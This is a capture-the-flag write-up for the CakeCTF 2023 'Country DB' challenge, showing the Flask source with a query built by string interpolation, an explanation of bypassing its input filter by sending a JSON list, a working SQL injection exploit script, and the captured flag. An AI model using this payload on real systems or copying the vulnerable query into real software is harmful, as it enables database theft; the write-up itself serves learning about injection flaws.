2023 CakeCTF - Country DB

• 68 points / 246 solves
• author: ptr-yudai
• tag: warm-up

Description

Do you know which country code ‘CA’ and ‘KE’ are for? Search country codes here!

Attached

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

Analyzation

Check init_db.py file, it is not hard to find out this is sqli.

The query is so simple

SELECT name FROM country WHERE code=UPPER('AF') UNION SELECT FLAG FROM FLAG -- trash

The main problem of this challenge is to bypass the filters

req = flask.request.get_json()
if 'code' not in req:
    flask.abort(400, "Empty country code")

code = req['code']
if len(code) != 2 or "'" in code:
    flask.abort(400, "Invalid country code")

So the string’s length must be 2.

Hmmm, does it have to be string??

Vulnerability

It does not check type of code, so it does not need to be a string. Another data type can be used instead.

After looking around, I find out list work!

Solution

import requests

URL = "http://localhost:8020/api/search"
URL = "http://countrydb.2023.cakectf.com:8020/api/search"

data = {"code": ["') UNION SELECT FLAG FROM FLAG --", "# "]}

response = requests.post(URL, json=data)

print(response.text)

I use empty string for the first query to prevent the result of that query stay up before flag

The flag is

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

• Similar challenge: “upside-down cake” of TSG CTF (2023)*